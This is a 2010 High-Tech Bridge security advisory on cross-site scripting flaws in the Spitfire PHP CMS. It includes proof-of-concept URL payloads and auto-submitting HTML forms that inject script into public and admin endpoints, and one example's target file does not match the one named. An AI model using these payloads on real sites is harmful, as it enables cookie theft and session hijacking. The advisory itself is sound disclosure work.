High-Tech Bridge Security Advisories are CVE Compatible    High-Tech Bridge Security Advisories CWE Compatibility    High-Tech Bridge Security Advisories CVSS Adopters
Vendor Statistics

286 software vendors have fixed 926 vulnerabilities in their products thanks to High-Tech Bridge Security Research Lab.

Patch Available Upon Disclosure

2014 Q1: 87%2013 Q2: 92%
2013 Q4: 67%2013 Q1: 100%
2013 Q3: 77%2012 Q4: 68%

Vendor Average Time to Patch

2014 Q1: 5 days 2013 Q2: 30 days
2013 Q4: 8 days 2013 Q1: 13 days
2013 Q3: 13 days 2012 Q4: 26 days

High-Tech Bridge Newsletter

Subscribe to our newsletter and receive some or all of our corporate news, invitations to security events or HTB Security Advisories – you choose what you want to receive.

Multiple Cross-site Scripting (XSS) Vulnerabilities in Spitfire

Advisory ID:HTB22482
Product:Spitfire
Vendor:Claus Muus
Vulnerable Versions:1.0.336 and probably prior
Tested Version:1.0.336
Advisory Publication:July 8, 2010 [without technical details]
Vendor Notification:July 8, 2010
Public Disclosure:July 22, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
Risk Level:Medium
CVSSv2 Base Score:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Spitfire which could be exploited to perform cross-site scripting attacks.


1) Cross-site scripting (XSS) vulnerabilities in Spitfire

1.1 The vulnerability exists due to input sanitation error in the "cms_id" and "search" parameters in site/cont_index.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.

Exploitation examples:
http://host/site/cont_index.php?cms_id=PAGE_ID"><script>alert(document.cookie)</script>
http://host /site/cont_index.php?cms_id=PAGE_ID&search=1"><script>alert(document.cookie)</script>

1.2 The vulnerability exists due to input sanitation error in the "value[description]" parameter in cms/edit/tpl_element_settings_action.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is login-in and has access to administrative interface.

Exploitation example:
<form action="http://host/cms/edit/tpl_edit_action.php" method="post" name="main" >
<input type="hidden" name="action" value="save" />
<input type="hidden" name="value[headline]" value='headl2<img src=x onerror=alert(234)>' />
<input type="hidden" name="winid" value="0" />
</form>
<script>
document.main.submit();
</script>
Second code:
<form action="http://host/cms/edit/tpl_edit_action.php" method="post" name="main" >
<input type="hidden" name="action" value="value" />
<input type="hidden" name="tabid" value="headline" />
<input type="hidden" name="winid" value="0" />
</form>
<script>
document.main.submit();
</script>

1.3 The vulnerability exists due to input sanitation error in the "text" parameter in cms/edit/tpl_backup_action.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.

Exploitation example:
<form action="http://host/cms/edit/tpl_backup_action.php" method="post" name="main" >
<input type="hidden" name="action" value="message" />
<input type="hidden" name="text" value='help text<img src=x onerror=alert(document.cookie)>' />
</form>
<script>
document.main.submit();
</script>

1.4 The vulnerability exists due to input sanitation error in the "value[headline]" parameter in cms/edit/tpl_edit_action.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is login-in and has access to administrative interface.

Exploitation example:
First code:
<form action="http://host/cms//edit/tpl_edit_action.php" method="post" name="main" >
<input type="hidden" name="action" value="save" />
<input type="hidden" name="value[headline]" value='headl2<img src=x onerror=alert(234)>' />
<input type="hidden" name="winid" value="0" />
</form>
<script>
document.main.submit();
</script>
Second code:
<form action="http://host/cms//edit/tpl_edit_action.php" method="post" name="main" >
<input type="hidden" name="action" value="value" />
<input type="hidden" name="tabid" value="headline" />
<input type="hidden" name="winid" value="0" />
</form>
<script>
document.main.submit();
</script>


Solution:
Upgrade to Spitfire 1.0.438


ImmuniWeb® by High-Tech Bridge


References:
[1] High-Tech Bridge Advisory HTB22482 - https://www.htbridge.com/advisory/HTB22482 - Multiple Cross-site Scripting (XSS) Vulnerabilities in Spitfire
[2] Spitfire - spitfire.clausmuus.de - Spitfire is a light weight, easy to manage and extremely flexible open source PHP CMS.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.